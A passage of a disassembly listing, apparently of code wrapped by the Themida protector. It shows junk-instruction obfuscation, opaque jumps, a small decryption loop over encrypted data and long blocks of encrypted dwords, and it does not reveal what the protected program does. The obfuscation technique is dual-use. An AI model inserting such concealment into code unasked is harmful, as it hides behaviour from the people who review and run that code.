		db 0C8h
		dd 8BD08FDDh, 635F0B1Fh
		db 9Dh,	0CFh, 0A9h
; ---------------------------------------------------------------------------


loc_5F06D7:				; CODE XREF: Themida_:loc_5F0179j
		mov	eax, 61B2AC7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 1E6BA5EAh, 4D2AA512h, 13B582ADh, 6BD06F4Fh, 599F4D8Bh
		dd 76BD867Ch, 2A2CFAD7h, 1D1CB3EDh, 5739FA1Ah, 6FBBD493h
		dd 2D1A2F3Dh, 71B30ADAh, 4427CE49h, 11B53440h, 387EE41Dh
		dd 4E013D4Dh, 1B65B5Bh,	7CBD3E54h, 6F24E257h, 5E8439E7h
		dd 4670F678h, 419810B1h, 0CCA923Eh, 4D9A291h, 3CD83C70h
		dd 18A9AF26h, 5A607F94h, 1AA89EEBh, 44633F25h, 0AE8h, 4A0D1500h
		dd 2499F961h, 0E8B73FD3h, 0Bh, 0DCB85B71h, 8393A0E9h, 80559CBDh
		dd 5F5A43DFh, 0C781DE8Bh, 6820h, 0EE9h,	84649400h, 890ACD5Bh
		dd 3A4A3C09h, 6896643Eh, 0
; ---------------------------------------------------------------------------
		jb	loc_5F07A3
		sbb	cx, 0F30Ah


loc_5F07A3:				; CODE XREF: Themida_:005F0798j
		pop	esi
		cld


loc_5F07A5:				; CODE XREF: Themida_:loc_5F0854j
		mov	eax, [edi+esi]
		mov	dx, 0DCEAh
		add	eax, 4E569249h
		clc
		sub	eax, 59830074h
		mov	ecx, ebx
		sub	eax, 5584B5A0h
		mov	ebx, edi
		push	eax
		movzx	edx, ax
		pop	dword ptr [edi+esi]
		jmp	loc_5F07E3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5D0A1959h, 76426778h, 4792F7D7h, 0B656270Bh
		db 0AAh, 0C7h, 81h
; ---------------------------------------------------------------------------


loc_5F07E3:				; CODE XREF: Themida_:005F07CAj
		push	eax
		jnp	loc_5F07FD
		jmp	loc_5F07FD
; ---------------------------------------------------------------------------
		db 55h
		dd 0F7AA0652h, 9E39266Fh, 5756168Ch
		db 9
; ---------------------------------------------------------------------------


loc_5F07FD:				; CODE XREF: Themida_:005F07E4j
					; Themida_:005F07EAj
		pop	edx
		sub	esi, 4A79BEC8h
		pusha
		pusha
		call	near ptr loc_5F080B+5


loc_5F080B:				; CODE XREF: Themida_:005F0806p
		sal	byte ptr [edx+5B16BD2Dh], 1
		add	cx, 0C6BAh
		popa
		jge	loc_5F081E
		cmc


loc_5F081E:				; CODE XREF: Themida_:005F0817j
		popa
		add	esi, 4A79BEC4h
		xor	edx, 1BDF25A4h
		cmp	esi, 0FFFF98E8h
		jnz	loc_5F084B
		cld
		jmp	loc_5F0865
; ---------------------------------------------------------------------------
		adc	ebx, 6Ch
		inc	esi
		mov	ebx, 0E83462C8h
		mov	eax, ds:0D73FB310h


loc_5F084B:				; CODE XREF: Themida_:005F0831j
		jnb	loc_5F0854
		mov	dx, di


loc_5F0854:				; CODE XREF: Themida_:loc_5F084Bj
		jmp	loc_5F07A5
; ---------------------------------------------------------------------------
		db 17h,	0C8h, 0BEh
		dd 562E4639h, 0D9F26C1Fh
		db 0
; ---------------------------------------------------------------------------


loc_5F0865:				; CODE XREF: Themida_:005F0838j
		jmp	loc_5F0925
; ---------------------------------------------------------------------------
		xor	[edi-48h], ebx
		imul	edx, edi, -64h
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h
		dd 0
		dd 9D744700h, 99E0E312h, 5Eh
		db 0
; ---------------------------------------------------------------------------


loc_5F0925:				; CODE XREF: Themida_:loc_5F0865j
		jmp	loc_5F1E53
; ---------------------------------------------------------------------------
		push	61B2F7Ah
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3067h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3135h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B329Ah
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3333h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B343Eh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B34DCh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B357Ah
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3629h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B376Bh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B386Fh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B39EEh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3ADAh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3C0Ch
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3D6Ah
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B3F5Fh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B404Bh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 0B87C2F5Fh, 0AB6F1E2Fh, 9094113Ch, 7E82F917h, 6BAFE2E1h
		dd 4746CCE0h, 2C59C64Ah, 1632AD71h, 0F608979Bh,	0AB168387h
		dd 0EBBC3F0Ah, 951FB455h, 6366567h, 0E2434779h,	53F09257h
		dd 8EBF68ECh, 476BEF1Fh, 5622C3C3h, 6336F825h, 0E17849DCh
		dd 1D65AFE2h, 497B0239h, 4DFC3952h, 0C655E482h,	0B5F4B042h
		dd 55E4828Ah, 0AB86ED68h, 3AF8B5D4h, 0A8988856h, 3A7BD68Bh
		dd 55E49A0Fh, 9AD762C3h, 0E86C55E4h, 8162B094h,	28h, 0C61802Fh
		dd 0F09290A3h, 0B2F1353h, 6CA7B7F0h, 543849DCh,	9CBA8524h
		dd 0BD5855E4h, 9AD60456h, 0E1E08BA8h, 0CC000000h, 606AFD8Bh
		dd 0AEA88ECFh, 72D6E6A3h, 0F517C44Eh, 0DAE97686h, 34DC94A7h
		dd 0D665C23Bh, 6D53F09Eh, 2DBA37E9h, 98BCF112h,	33552A9Ah
		dd 0E3C4378h, 37A8897h,	98AAB5F1h, 3A7BD6E5h, 53F0660Fh
		dd 0C6728084h, 0F063D287h, 17C8E53h, 0D66062FDh, 0A4D4F8B5h
		dd 0ACDFAD3Ch, 601D2A31h, 83072392h, 0D4B849DCh, 0ABD13050h
		dd 0DBFA1790h, 90D4FCAh, 0D35C6BF2h, 93BB619h, 0C1789C92h
		dd 0EE79BDA1h, 0D95DA2DFh, 0AB630346h, 12A56133h, 0ED1D0000h
		dd 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h, 90BF28ECh, 0BE92191Dh
		dd 8084F908h, 6FB3EAE7h, 55D9D4F0h, 41C5B8CAh, 0F948D554h
		dd 7A55EBBDh, 6867D7D9h, 46470635h, 15B0C157h, 0D1EC8691h
		dd 0F6089743h, 0C4B7C990h, 3A0950B4h, 0B953F0A8h, 0A76DB1D5h
		dd 27D9F48Bh, 0C3477726h, 806155DFh, 0C866C7F4h, 949DC6Ch
		dd 5A77F605h, 65AF2B23h, 9C65D859h, 434555E4h, 1D2F3048h
		dd 0FF015E6Eh, 0F81FB88Ch, 7CF43732h, 64625137h, 10FF357Dh
		dd 0B033F9F9h, 8D438BA8h, 69000000h, 6366567h, 27574A79h
		dd 0DA6ABCB4h, 0F1F32641h, 3FE1B223h, 2E3D53F0h, 0FD92601Dh
		dd 0D34CD0CBh, 5AC2FAB1h, 61CEFD8Bh, 49DCD7C5h,	6E161A7Eh
		dd 8BD2E99Fh, 0B0F3017Ch, 0CB320B77h, 3381C4Fh,	0CC504D7Ch
		dd 0B6793453h, 63030C3Ch, 0B8C6D444h, 11h, 1E898D00h, 0F36CB0EDh
		dd 0CE59DDD8h, 0A641C5C0h, 0A526EAA7h, 890403B3h, 0B0ED1A85h
		dd 0DCD7F36Ch, 0CEBDCF58h, 53DC2F4Ah, 55EBA2E0h, 67ECD063h
		dd 76F13568h, 1FD55954h, 6366567h, 0B5EADF95h, 1EC271BEh
		dd 0FD4153F0h, 34BF752Bh, 6C1F21FEh, 99143FA8h,	4AEC1E61h
		dd 22344439h, 7B63417h,	0EF385C94h, 8387ABE2h, 0DE2FD99Dh
		dd 0E21491AAh, 7B49DC14h, 0BEA2DBECh, 0C45CEE4Fh, 48995C7Eh
		dd 219C0F3Ch, 6E2AB584h, 314ACEAEh, 6E2B45F4h, 0B87ADEAEh
		dd 422ED53Dh, 40ED5EB4h, 50422FF1h, 0D2EA0E72h,	0DEED9B6Ah
		dd 2F77C263h, 888C5042h, 47FC398Ah, 0C84A6DA6h,	16283744h
		dd 204A367h, 3F14848Bh,	3CAC6564h, 10EA6Eh, 7F325200h
		dd 621B2CBBh, 8B06019Eh, 0B3EA1887h, 0DCD1F06Fh, 49F9D358h
		dd 24C3473Ah, 3DAA6E27h, 15929611h, 1974B8F3h, 0A33605A2h
		dd 64D55EBh, 0D6F48B82h, 848655DFh, 7889F109h, 9CBEFF0Ch
		dd 1549DC96h, 7495ED31h, 84AA0B00h, 2D4FC893h, 0AD901129h
		dd 4F5FD89Bh, 0C3696980h, 1391BC95h, 48403D4Ch,	43A546CCh
		dd 73000000h, 0E01B6180h, 0E3316C99h, 2CD967C0h, 0EE5249DCh
		dd 0ED1B62DDh, 0F00286B6h, 0B0742F5Bh, 0E4DC54E9h, 0DBC89855h
		dd 30B77E4Dh, 0D7E9A66Ch, 0CBC760A4h, 48EAB8D0h, 0B9000010h
		dd 0DEEEA3A2h, 0E49FAD7Ah, 0F48B242Eh, 0A7692ED9h, 0E0FA27FCh
		dd 97B3CCFCh, 823AF81Ch, 0B9E61563h, 49DB6901h,	0EE7D8EF2h
		dd 2E5DA1DCh, 0C7D96C56h, 0EE243F7Dh, 6F9C0F31h, 83BBF210h
		dd 49B10D07h, 0A0BFCCB8h, 7ADEEE9Fh, 0CDAE0FB8h, 664FC09Eh
		dd 7092E9E2h, 51720D3Dh, 84A82C5Ch, 1C2E3D8Eh, 0BEFF6A61h
		dd 5FC66C83h, 42F63C00h, 99143249h, 702FE561h, 0AA38484Eh
		dd 622D0954h, 1EC67574h, 0F95D5FC6h, 1ED665C2h,	0E96D5FC6h
		dd 0DA5BB6C5h, 5FC61E6Fh, 5030C546h, 97EBBF4Ah,	0DD4561B3h
		dd 0E243780Ch, 45EA253Ch, 5CDEEB72h, 0FF5B732Ah, 0ED27A3DBh
		dd 86EB195h, 0B85CE3DFh, 0F857240h, 0CDFD0000h,	0B0D14ED2h
		dd 0A3AE39FDh, 878522E6h, 709F080Ch, 5E72F93Dh,	60A4D9E8h
		dd 4FD3CAC7h, 35F9B4D0h, 21E598AAh, 99A8F574h, 1A55EBA0h
		dd 86B937F9h, 4153F092h, 34A7D4A0h, 0B28A03Ch, 0BBD05489h
		dd 0F0EFCF7Ah, 32C04453h, 0DB32A643h, 0C6F55949h, 2E50878Eh
		dd 0AD6766BEh, 42394B12h, 6B143249h, 0EC35BDA0h, 0E92B4FD5h
		dd 118CBE29h, 0EB16AFAh, 8B83FE0Dh, 4F86190Fh, 0B7333C1h
		dd 0EE7D8EFAh, 5053A1DCh, 0C7207BD7h, 87888C4Fh, 62FEBB2Bh
		dd 0ECC7D545h, 5400000Eh, 2AB57934h, 7A06419h, 128D910Ch
		dd 0EA75B9F4h, 0D962A6DBh, 4D404FF7h, 74315EC9h, 601B37B0h
		dd 8A01039Ch, 1790EB86h, 55EBA124h, 679014BFh, 95063665h
		dd 924EFD3Ah, 0B3C553F0h, 0FE241D87h, 0F93B5F79h, 5E6D2022h
		dd 0B24A806h, 59B611E5h, 0EA988E73h, 0CDF93B03h, 0ED1D90B2h
		dd 79C97692h, 47BFDA6Bh, 430486Ch, 9E9EA4CBh, 0C675B22Dh
		dd 5D53F0FEh, 3D543BF9h, 0DDE877E2h, 2D2CA8A0h,	53F0FE1Eh
		dd 3519237h, 32863657h,	0F624C44Eh, 408594E5h, 0C7F948D5h
		dd 167A53F0h, 8EF631Ch,	80490000h, 47E01B61h, 49DB4F91h
		dd 96D5E66Ah, 8B0F3F7Ah, 0B5C33E89h, 0ECE92CC0h, 2EFD3708h
		dd 1A29761Ch, 9955EBB3h, 5C403D4Eh, 4D7C0338h, 56DC3850h
		dd 880305A2h, 0B30E3170h, 38C955EBh, 51CC3F4Ch,	0B38AB9E6h
		dd 50955EBh, 0EBB375C4h, 9D8A8E55h, 0FFFE346Fh,	4FC7B753h
		dd 5DAF70D4h, 1B62FF50h, 0DE191A3h, 29590000h, 1435B276h
		dd 0FF0A9599h, 0E3E17E82h, 0CCFB64A8h, 0EACE4DD1h, 0AC702D5Ch
		dd 9B9F1633h, 8185000Ch, 65A9E4E6h, 0C574B108h,	5E55EBA6h
		dd 6567F335h, 0D6950636h, 44C0F8B5h, 21F3AADBh,	1525586Ah
		dd 753BA55h, 859488D9h,	838E5h,	86B93300h, 4153F092h, 6A7D4A0h
		dd 49DB4FEEh, 95D4E76Bh, 87F43873h, 192BCDF8h, 0CA4E7E62h
		dd 0C1719348h, 94A7CBC6h, 0CDFDB8D5h, 88FBCB49h, 2422D4F1h
		dd 0D1354569h, 0EE9A6B43h, 0BBFE50DDh, 13774FC7h, 0FF43C40Ch
		dd 7E4CBC62h, 0D43h, 0C108BBBh,	0F73B7293h, 0DC205D68h
		dd 0CA4E4543h, 0AF732E5Dh, 8BBA082Ch, 78951216h, 626EF93Dh
		dd 4244E327h, 57AAC74Bh, 0EBA67BD6h, 515BF855h,	6366567h
		dd 24544779h, 3644AB44h, 859488E8h, 7A4F6h, 0FD8B2200h
		dd 1FF20D59h, 5E56DC26h, 65C2F98Fh, 49DB331Eh, 0AF1A3115h
		dd 0C1F9B4D0h, 0FA128FBEh, 0E3B87A9Eh, 1566AAE1h, 4E7E3B56h
		dd 719348CAh, 9CA3023Ah, 5B55EB3Eh, 60CDFE8Ah, 4FC73ACEh
		dd 334A1167h, 0C2F2931Fh, 5F6F2A25h, 1250D7FBh,	0EE62FF70h
		dd 0CA5AC7Eh, 0ED1D0000h, 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h
		dd 90BF28ECh, 0BE92191Dh, 8084F908h, 6FB3EAE7h,	55D9D4F0h
		dd 41C5B8CAh, 0F948D554h, 7A55EBA7h, 6567D7D9h,	47790636h
		dd 0AB442454h, 7092E944h, 0B55790CFh, 264AF013h, 23DE0CECh
		dd 0FAF88595h, 8D000006h, 0D8C28F7h, 414D0477h,	6ED02246h
		dd 0F09289B9h, 0D1A74653h, 86394FBAh, 0FA49D61Fh, 7953F064h
		dd 0CA750315h, 0CB6F6EA4h, 7C49DBAAh, 6A9CE318h, 4E70EF33h
		dd 31EEA7A4h, 45759914h, 0F3A7BD6h, 8455EC80h, 0AB3A7280h
		dd 0F501AEDDh, 0E4FC07Bh, 59D1050Ah, 0FB5362FEh, 0BF629h
		dd 433E4E00h, 6E1F20BFh, 97123DAAh, 0BFF61493h
		dd 0A0DDEC7Bh, 4DF5DF5Ch, 20BF433Eh, 39A66A23h,	118E920Dh
		dd 1D78BCEFh, 0A43201AEh, 2B155EBh, 2165679Eh, 0F092B584h
		dd 9D586C53h, 0D2CE0B73h, 45769AFEh, 73FE4DEAh,	0E37553F0h
		dd 2298B1B3h, 0B57F63CCh, 59547609h, 0C584F721h, 5BBFCFCAh
		dd 0ACDB32D9h, 2D18119Ah, 0A9C2FEA9h, 7D58185h,	978594A8h
		dd 13Ah, 3665671Dh, 54477906h, 0CCA15127h, 0F8FAA382h
		dd 5E6E1D2Fh, 87838FAh,	3F7893F9h, 49DCEF73h, 397890F4h
		dd 55E40F06h, 0C01279E4h, 8BA9261Ah, 25A4h, 61807000h
		dd 0D747E01Bh, 2849DC6Ch, 0C1F9B4DFh, 88292145h, 55E49CB5h
		dd 11618857h, 8BA89ACBh, 0BAEBh, 0F48BC100h, 27A3DBD2h
		dd 910C3EEDh, 0AEE5E37Ah, 0CCF83A9Eh, 0E11994B3h, 19316C9Eh
		dd 0C5494446h, 0F04EC384h, 3E6D9F53h, 891681FAh, 53F0BEBAh
		dd 0E7DF5539h, 0DC597206h, 49DFDB20h, 87B2F36Eh, 0B755E642h
		dd 71D5E598h, 0B4E7391Dh, 61D50153h, 89E2060Ch,	0E6DA1D2Ch
		dd 37499655h, 0F3C2044h, 0D85C5170h, 0CA4D404Fh, 69182DA0h
		dd 0B4D2E058h, 0C00000Ah, 0E27D81FCh, 0FF68ACE1h, 0CA55D9D4h
		dd 0A23DC1BCh, 0A12AEEA3h, 9508078Fh, 0BCF91691h, 0A8E3EF78h
		dd 0D2C9FB64h, 5FD8234Eh, 55EBA5ECh, 67E82C67h,	9AF13568h
		dd 0BDCDC8C3h, 0B6852259h, 0CD53F092h, 0F214CB49h, 67BD77BBh
		dd 79063665h, 1AD05447h, 505h, 0C271BE29h, 653F092h, 0F092AA99h
		dd 51252953h, 17FA41Fh,	52948EEh, 0FD8B050Fh, 0A3C1CE68h
		dd 0CA07207h, 337C8FFDh, 49DC99E7h, 45E41478h, 55E580FAh
		dd 4496FD18h, 8BA99E96h, 356899E0h, 0F0738105h,	24Ah, 928FB93Ch
		dd 3C4353F0h, 215C6E10h, 8B89AD29h, 9B54D233h, 8645AE67h
		dd 6A23A9E0h, 0A6BD1B4h, 0F7AD5E6h, 0F0C093AEh,	58DE1053h
		dd 6F4A0BF0h, 36A76D91h, 49DB7F36h, 286365E4h, 0CFA79213h
		dd 583C55EBh, 91AAAEDAh, 41C5B8CAh, 0D1E9A4A6h,	0DFEC9869h
		dd 0C734245Eh, 0D6593D4Fh, 62FF0EB6h, 0B0CCDE4Eh, 8000009h
		dd 0E68185F8h, 0FB64A8E5h, 0D651D5D0h, 0AE39FDB8h, 9D1EE29Fh
		dd 81FC0BBBh, 0A8E5E27Dh, 0D4CFFB64h, 0C6B5D750h, 4BD45742h
		dd 55EBAAF8h, 67D4D87Bh, 0C7C2CD65h, 1F2F53B7h,	3F4F3E40h
		dd 0E4234A89h, 0CB67ABE2h, 85948D25h, 195B1h, 0CA6BC600h
		dd 0AC0F667Fh, 988290F4h, 84216567h, 53F092B5h,	16264ACEh
		dd 37443749h, 6E9F1928h, 59191B3Fh, 0DB76B722h,	5853F093h
		dd 67863EF4h, 2E8FFA11h, 53F09313h, 4566AC90h, 3C7793EAh
		dd 62CB87F6h, 4F3C49DCh, 0E48053EEh, 486CD055h,	90BCC330h
		dd 0AF9E1F15h, 4D55E480h, 0C16F6B82h, 0DD8BA89Ah, 20h
		dd 1B6180DBh, 6CD747E0h, 242849DCh, 9CAA9514h, 8D4855E4h
		dd 9AC61466h, 0EDD08BA8h, 0DC000000h, 6366567h,	9DAC4A79h
		dd 486CE8E0h, 661F2C33h, 3D4F10ACh, 65C23D4Eh, 53F092D6h
		dd 9B2BE96Dh, 0B0CBC2C4h, 9269D845h, 404153F0h,	0BCE7794Dh
		dd 1DEF1923h, 50001236h, 0F0653C09h, 0E060F053h, 8305433Ah
		dd 0D9942D4h, 641983CCh, 0DCCFF1AEh, 40F33CAFh,	0C353F0A2h
		dd 85FDB57Fh, 88FB1064h, 0F0A21C2Fh, 0E457D053h, 7F53F0A2h
		dd 51A3A71Bh, 0C737C956h, 0E47B49DFh, 3B9FAFE6h, 159289F9h
		dd 55E64626h, 6B2622BDh, 51282347h, 0EB97B36h, 12AF507Fh
		dd 62F3365h, 39A66A8Eh,	7A90970Ah, 6691808h, 8318496h
		dd 79890000h, 64650206h, 4F7AE529h, 3351CE52h, 1C2BB478h
		dd 3A1E9D61h, 0FC007D8Ch, 0EB2F6663h, 0D155507Ch, 0B5793456h
		dd 75C461D8h, 8E55EBABh, 68674345h, 0E4E0635h, 44C72518h
		dd 0CB541C16h, 0F43EC2B9h, 6366567h, 27233A95h,	92DE6D6Ch
		dd 79F753F0h, 0E0DCDABBh, 0DF55398Dh, 8B8FFE00h, 27451h
		dd 6180DF00h, 347E01Bh,	0B349DB4Ch, 2DE79EACh, 35A71D5h
		dd 1A7E8E05h, 320DAC18h, 0D055EBBCh, 4E9CDE35h,	688BAFBAh
		dd 212h, 928FB944h, 0B94853F0h,	337FB8D3h, 3449DB4Ch, 0E02D3B50h
		dd 935949FFh, 0A2B90A08h, 86DEEDA0h, 0A57ABD5Bh, 306B9930h
		dd 3952060Ch, 9DD261CEh, 0ED5155EBh, 949E1332h,	0A6D6C5C7h
		dd 9C193635h, 0B9CF1E96h, 66D12582h, 1D6A4FC7h,	45404BEBh
		dd 0EEFA3D21h, 8662FF5Ch, 7450416h, 8DBD0000h, 70910E12h
		dd 636EF93Dh, 4745E226h, 305FC84Ch, 1E32B97Dh, 20E499A8h
		dd 0F138A87h, 0F5397490h, 0E125586Ah, 59E835B4h, 0DA55EBA8h
		dd 0F48B77B9h, 8754DED7h, 99E61685h, 0D2043467h, 0D3F4EA5h
		dd 0F03E9A9Eh, 4E85948Ch, 0C95CEA36h, 7DB7F2ECh, 15D82h
		dd 65672E00h, 47790636h, 51B0D054h, 0DB97102Bh,	2C49DC63h
		dd 0AE911028h, 8E55E483h, 6AF50580h, 0F4AFDD5Bh, 2C5C40C4h
		dd 72B8DF78h, 7181E877h, 8BA899ABh, 3ACBh, 15800h, 809D878Dh
		dd 5871E961h, 11C33A42h, 81E7AC7h, 375B930Ah, 58B9B04h
		dd 40C449DCh, 9C19344Bh, 9A2AE86Ch, 0E4EA241Bh,	0F007C655h
		dd 0A9043CE2h, 0B85A8Bh, 8B560000h, 5C12FFFDh, 74BE3DEDh
		dd 0C6F6A5A7h, 9AE58AB9h, 922C8F14h, 34585570h,	6567F810h
		dd 57C7F4C4h, 8BAF79F8h, 0B4DAEC73h, 0F01DD86Bh, 0D3F75B53h
		dd 0EBA6A1B8h, 0F5BD77D3h, 0F09793B4h, 0E7D8F53h, 1D6B7A0Ah
		dd 0FEBF41EEh, 0D0B449DEh, 13A5A4BBh, 484544F6h, 8CB01424h
		dd 0BDF01F88h, 16C7787Ah, 0EAB81069h, 613h, 0DC205B6Bh
		dd 0C74B4243h, 0AC702D58h, 9A9E1533h, 7F83FE0Dh, 5B6AD8FCh
		dd 4845E226h, 325EC94Dh, 1234B377h, 87FA979Bh, 0EBAE2B26h
		dd 0A16BA855h, 0C0CE6867h, 0D946B5C5h, 53F0926Ah, 5D4165E9h
		dd 78335F2Eh, 27EDA0AFh, 0DBD2F473h, 188B9D57h,	0F092AC9Fh
		dd 67F8C53h, 4D3E92F6h,	0F09251E0h, 4A6ED253h, 0BAF113C8h
		dd 0D0CBFD82h, 15A7A4BBh, 581B9F4h, 8D0806E1h, 5F1B197Dh
		dd 388Dh, 65672B00h, 47790636h,	27582754h, 4400BC76h, 434584EBh
		dd 9263DE5Fh, 9CE053F0h, 0E3C4378h, 11E36797h, 0A65A2A61h
		dd 0FF869584h, 69611C2Ah, 0D94BC9EDh, 25h, 36656757h, 0B8D69506h
		dd 0F7BBCDFDh, 4AAA4E8h, 4845CFF3h, 53F0BCF6h, 0FC2F46E5h
		dd 0ED27626Dh, 8D910C3Eh, 36656747h, 66DF9506h,	0A2D7CF52h
		dd 0D130848Eh, 0F82590ABh, 53F0DB49h, 55296461h, 278023F1h
		dd 49DB059Fh, 401F2C10h, 1D98B43Eh, 0C14569EDh,	51692426h
		dd 5F6C18E9h, 0C0393DDEh, 3952364Fh, 5F6C2122h,	0C63063DEh
		dd 969CE05Fh, 79345615h, 0FB56D742h, 785FC630h,	215A1E14h
		dd 4575285Ah, 6595083Ah, 9837FDE1h, 9F073766h, 0A4013A4Eh
		dd 45EAE1FEh, 140C1377h, 6C5CE3A2h, 4B52EFCh, 0FD0D0000h
		dd 0E0E17E82h, 0D3FE69ADh, 0B7D552D6h, 0A0AF38FCh, 8EA229EDh
		dd 90940938h, 7F83FA17h, 65A9E4E0h, 51D5C8FAh, 0E958C524h
		dd 6A55EBAFh, 6567E729h, 5375F236h, 305C2358h, 700FBF75h
		dd 0EDA8A44Eh, 9CAEB1C9h, 7BFD5213h, 567A30A3h,	74275926h
		dd 0FB56D744h, 7853F0FDh, 30473014h, 106794EAh,	0C12ECFF1h
		dd 15248193h, 0AE53F02Fh, 0AB3874AAh, 9D39FDE1h, 8594DC4Fh
		dd 546Fh, 61804500h, 0F947E01Bh, 7249DC2Ch, 1782FD0Eh
		dd 0E4DCBB96h, 0DE543855h, 868A0501h, 0E4DC7AC7h, 69242655h
		dd 7897D6A5h, 1986F505h, 55E4DC2Ah, 7381A5A9h, 0C6F5B0DCh
		dd 73B32B8Eh, 0AB2F5F56h, 5C589D75h, 0EF65D6D6h, 6C61DC44h
		dd 63FD3796h
		dd 3E3h, 0D9F48B89h, 87B956DCh,	699BE414h, 7796EE32h, 58730A01h
		dd 77A92D5Dh, 4DD08063h, 0A31C1677h, 0DCC24802h, 0AEDDA149h
		dd 2047F233h, 78DC55E4h, 94AB0ABAh, 7655E420h, 0AC728097h
		dd 0CA8BA93Ah, 2Dh, 1B6180E6h, 6CD747E0h, 242849DCh, 9CAA9514h
		dd 8D4855E4h, 9AC61466h, 4D08BA8h, 65000001h, 5C57730Ah
		dd 0E4902E1Dh, 53A1A555h, 0D7F48BE9h, 51692425h, 5DB9D1F5h
		dd 970638D7h, 9DAC0964h, 1653F092h, 0DBD6F532h,	0F3126D59h
		dd 0ABF78DBEh, 4E3F8800h, 1893BF68h, 0B3D5AA1Ah, 4359680Ah
		dd 0EE1D6037h, 536B8FB3h, 6E71FA0Ch, 9D1032BCh,	3337E96Dh
		dd 0AA6E92DAh, 4798AD1h, 9D2BCE12h, 0E1338DE8h,	0F06323F4h
		dd 3E6D9F53h, 0C9FA81FAh, 7F815ED4h, 6584FC0Ch,	0ABA3DAECh
		dd 0B7F00B2Fh, 49DC8FFBh, 0EC5FD84Bh, 6755E58Fh, 6DD111E3h
		dd 7C08D9A9h, 0E053DC4Fh, 6355E58Fh, 0DAA151Fh,	4FCAD789h
		dd 2B6665E2h, 7893B713h, 6BAFE2E1h, 4FD0CDFCh, 6302B061h
		dd 0C09DAF1Fh, 38000002h, 16919508h, 0EB74B8F5h, 0C661A5E0h
		dd 0DE49CDC8h, 0AD2EF2AFh, 910C3B8Bh, 0B8F5128Dh, 0A4DFEB74h
		dd 0D6C5C760h, 5BC42752h, 55EBADE8h, 67E4286Bh,	0C1BCCE68h
		dd 0BCCE59DDh, 5F6A0C3Ah, 8AAE2A22h, 8050A266h,	47E01B61h
		dd 49DC6CD7h, 0A7142428h, 9C58EB34h, 77DB55E4h,	9C0D30BDh
		dd 60EF55E4h, 9B23C909h, 0C8B38BA8h, 79000000h,	6366567h
		dd 27574A79h, 0F0972D86h, 0EF1A6153h, 99AB60B2h, 7692E9E2h
		dd 8D87033Bh, 75285AC5h, 780CDD45h, 7328E243h, 0C78649DCh
		dd 2040D2C9h, 0D5A3D85Ch, 0D4F3A556h, 2F888313h, 55E4F61Ch
		dd 4D61B397h, 0ACB3C8BCh, 70D4E4A1h, 43A401A2h,	0F44FCB93h
		dd 0E5E47B90h, 871FD45Ah, 0BBCD66EFh, 0D74ADCC0h, 564D6603h
		dd 645769Ah, 0CD858F0Ah, 0B97E3352h, 6302F6D5h,	0D4AD7FEFh
		dd 2C000001h, 29D611Ch,	1F888C01h, 0EA75B9F4h, 0C25DA1DCh
		dd 0C14ACEC3h, 752827EFh, 9C1936B1h, 88030F98h,	0B2E91B84h
		dd 7FB8036Eh, 55EBD2CCh, 67880C47h, 76F13568h, 0B7225954h
		dd 0F092DB76h, 3EF45853h, 497A017Ah, 6754DE54h,	79063665h
		dd 57D05447h, 0C5364635h, 0F20A8786h, 0D9289C96h, 0B22D98B3h
		dd 926BE647h, 64E853F0h, 0F092D665h, 3EE96D53h,	0E1659510h
		dd 90E8A213h, 3D0149DCh, 5855720Dh, 7B325F20h, 91F81743h
		dd 60B76689h, 0A86C1F21h, 484309D8h, 5808EDDh, 128391F5h
		dd 4FC8974Ch, 0F6898185h, 6B2622D4h, 0BBD3F753h, 3471EC9Fh
		dd 5FD89B05h, 9378BA9Eh, 2D5BAA7Ch, 9CC9911Eh, 60A45F4h
		dd 0D3636502h, 0EFD708B1h, 0D27905E2h, 21109DAEh, 0A241CCC2h
		dd 0FD82BADEh, 0D9A6D6D1h, 84DBF3AEh, 56F20A83h, 678892F9h
		dd 20226188h, 0FD0F5E6Dh, 181A7E8Eh, 0B3D92858h, 0C0531F98h
		dd 0B0945BE0h, 0C1C5C798h, 0A0C0D564h, 0C6EA6E4Bh, 1D98B6B5h
		dd 1BAB69EDh, 0CFFA81BCh, 0CD7CB9D2h, 464BA0C0h, 44AB30C2h
		dd 467503E2h, 1BA4880Eh, 76B73D79h, 4BA074DBh, 0BBD0F458h
		dd 0A074CF7Ah, 32C0444Bh, 767A3471h, 8FF3518Ch,	5D69F08Bh
		dd 64AE2A22h, 0B0CBB150h, 73050645h, 0A5215954h, 6D027381h
